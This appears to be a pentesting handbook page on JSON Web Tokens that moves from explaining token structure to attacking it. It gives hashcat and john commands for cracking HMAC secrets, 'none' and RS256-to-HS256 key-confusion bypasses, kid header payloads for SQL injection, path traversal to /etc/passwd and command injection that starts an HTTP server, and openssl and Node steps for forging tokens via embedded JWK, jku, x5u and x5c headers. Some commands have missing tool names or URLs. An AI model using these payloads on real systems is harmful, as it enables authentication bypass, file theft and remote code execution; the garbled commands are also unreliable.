Skip to content

JWT and it's bypass

JWT Handbook


JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.\ Although JWTs can be encrypted to also provide secrecy between parties, we will focus on signed tokens. Signed tokens can verify the integrity of the claims contained within it, while encrypted tokens hide those claims from other parties. When tokens are signed using public/private key pairs, the signature also certifies that only the party holding the private key is the one that signed it.


In its compact form, JSON Web Tokens consist of three parts separated by dots (.), which are:

  • Header
  • Payload
  • Signature

Therefore, a JWT typically looks like the following.

Let's break down the different parts.

The header typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.

For example:

  "alg": "HS256",
  "typ": "JWT"

Then, this JSON is Base64Url encoded to form the first part of the JWT.


The second part of the token is the payload, which contains the claims. Claims are statements about an entity (typically, the user) and additional data.

  "sub": "1337",
  "name": "unstable",
  "admin": false


To create the signature part you have to take the encoded header, the encoded payload, a secret, the algorithm specified in the header, and sign that.

For example, if you want to use the HMAC SHA256 algorithm, the signature will be created in the following way:

  base64UrlEncode(header) + "." +

The signature is used to verify the message wasn't changed along the way, and, in the case of tokens signed with a private key, it can also verify that the sender of the JWT is who it says it is.\ The signature is then base64 encoded.

To familiarise yourself with JWT you can use the decoder at

JWT Signing Algorithms

The most common algorithms for signing JWTs are:

  • HMAC + SHA256 (HS256)
  • RSASSA-PKCS1-v1_5 + SHA256 (RS256)
  • ECDSA + P-256 + SHA256 ( ES256)


Signature validation

The first easiest thing you can check is whether you can tamper with the payload by keeping the signature as it is.

Cracking the HMAC secret

As secure as HS256 is, especially when implemented the right way, brute-forcing a JSON web token signed with small and medium-sized shared secrets using HS256 is still very possible.\ If you are able to crack/find the HMAC secret you can do anything with the token. This could be a critical vulnerability.\ There are two ways to perform this attack

  1. Dictionary attack
  2. Bruteforce attack

Dictionary attack

hashcat -a 0 -m 16500 jwt.txt rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

python3 -d rockyou.txt <JWT token>

python eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

python3 -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w rockyou.txt

Dictionary attack with a common default password list
Dictionary attack with a ‘leaked passwords’ wordlist
Targeted Dictionary attack with words scraped from the target website (and related wiki pages?)

Bruteforce attack

hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

Brute force attack using a narrow focus (e.g. ?u?l?l?l?l?l?l?l?l --incremental)
Long-running Brute force attack using a broad focus (e.g. ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a -i --increment-min=6)

None matters

There was a CVE assigned (CVE-2015-9235) for this attack. developers tend to use "none" algorithm for testing purpose and sometimes keeps as it is! To automate this type of attack we strongly recommend using Burpsuite's extension "JSON Web Tokens". This extension comes with four different types of "none" keywords you can try!\ To do this process manually, head to and remove a signature from the JWT token then change "algorithm to none".


Sometimes it is worth checking whether the JWT token expires or not. You can make a request with the JWT token after log out to the endpoint. Sometimes the JWT token never expires. We have mentioned the ways to steal the JWT token below on this page. Be sure to retest this same token in ~24 hours and report it if it never expires.

RSA Key Confusion

The JWT spec also defines a number of asymmetric signing algorithms (based on RSA and ECDSA). With these algorithms, tokens are created and signed using a private key but verified using a corresponding public key. This is pretty neat: if you publish the public key but keep the private key to yourself, only you can sign tokens, but anyone can check if a given token is correctly signed.

Unfortunately, an attacker can abuse this. If a server is expecting a token signed with RSA, but actually receives a token signed with HMAC, it will think the public key is actually an HMAC secret key.

If you change the algorithm from RS256 to HS256, the back-end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). 

You can also use jwt_tool to perform this attack.

python3 JWT_HERE -X k -pk my_public.pem

Kid issues

SQL injection

When you decode the JWT, you will see a parameter called KID, or different JWT Claims which retrieves a key file from the file system. You can try to exploit them if they aren’t properly sanitized.

“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “1” // KID is often used to retrieve a key file from the file system

Instead of value 1, we can modify it and add our SQLi payload. The final JWT will look something like this:

“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “SELECT * FROM users WHERE username = 'admin'--' AND password = ''”


If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of. This vulnerability has the same process as the SQLi one, but we use different payload:


If KID parameter isn’t properly sanitized, it becomes vulnerable to LFI. We simply add our payload and the final JWT will look something like this,

“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “../../../etc/passwd”

You can also use jwt_tool to perform this attack and keep the original signature,

python3 <JWT> -I -hc kid -hv "../../etc/passwd" -S hs256 -p ""

Command Injection

The process is the same as SQLi with KID and Local File Inclusion. When the "kid" parameter contains a path to the file with the key and this path is being used inside an executed command you could be able to obtain RCE and expose the private key with a payload like the following:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “1” | whoami;


This CVE specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

If the server is vulnerable to the mentioned vulnerability, then a token that contains attacker generated public key and is signed using the corresponding private key generated by the attacker would get accepted by the server.

Example JWT token

  1. Generate public and private key pairs.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

2. Now create a forged token. if you decode the above JWT token you can see two keys "n" and "e". which can be generated using a public key. To retreive, these values use the following js code.

const NodeRSA = require('node-rsa');
const fs = require('fs');

keyPair = fs.readFileSync("keypair.pem");

const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');

console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

run the above script using node,

3. Now since you have "n" and "e" which you can replace in the above jwt token using and sign the token using the private key supplied by the attacker and would be verified by the server using the embedded public key, which also belongs to the attacker.

jku and x5u


jku stands for JWK Set URL.\ If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token.

  1. The key used for token verification is extracted from the certificate located at the URI present in the “jku” header parameter.
  2. If the attacker generates a public-private key pair and creates a forged token using the generated private key and replace the “jku” parameter’s value with the URI of this newly generated JWK Set JSON file (hosted on an HTTP server), then essentially the forged token would get accepted by the server.

The attack steps are quite similar to what mentioned above. Once you created a public and private key pair then generate "n" and "e" using the public key. Now create a jwks.json file and update the "n" and "e" values. Now host the "jwks.json" file locally and update the same in jwt token.


The “x5u” (X.509 URL) Header Parameter is a URI that refers to a resource for the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS (JSON Web Signature). The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain.

  1. The key used for token verification is extracted from the certificate located at the URI present in the “x5u” header parameter.
  2. If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replaces the “x5u” parameter’s value with the URI of this newly generated certificate (hosted on an HTTP server), then essentially the forged token would get accepted by the server.

Create a self-signed certificate,

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt

Now extract the public key from the generated certificate.

openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Now follow the same steps we followed in the earlier attack. Host the attacker.crt locally and change the header value accordingly.


The “x5c” (X.509 certificate chain) Header Parameter contains the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS (JSON Web Signature).

Example token


After decoding you can see various fields n, e, x5c, x5t, kid. Also, notice that kid value is equal to x5t value.

  1. The “x5c” (X.509 certificate chain) Header Parameter contains the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS.
  2. The “x5t” (x.509 certificate thumbprint) header parameter provides a base64url encoded SHA-256 thumbprint (i.e., digest) of the DER encoding of an X.509 certificate that can be used to match a certificate. So, it is analogous to a key identifier or the kid claim!!

Create a self-signed certificate,

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt

Now extract the "n" and "e" values from the certificate,

openssl x509 -in attacker.crt -text

Here the "Modulus" is "n" and "exponent" is "e".

Now convert the "Modulus" to base64 encoded value,

echo "Modulus value" | sed ‘s/://g’ | base64 | tr \n   | sed ‘s/ //g’ | sed ‘s/=//g’

Now do the same for exponent,"e"

echo 10001 | base64 | sed ‘s/=//g’

Now get the value of x5c using the following command,

cat attacker.crt | tr \n   | sed ‘s/ //g’

Now calculate the x5t value using the following command,

echo -n $(openssl x509 -in attacker.crt -fingerprint -noout) | sed ‘s/SHA1 Fingerprint=//g’ | sed ‘s/://g’ | base64 | sed ‘s/=//g’

Now we have everything we need, Now replace the value in decoded token and signed using generated public and private key. Don't forget to tamper with the payload.

JWT Mindmap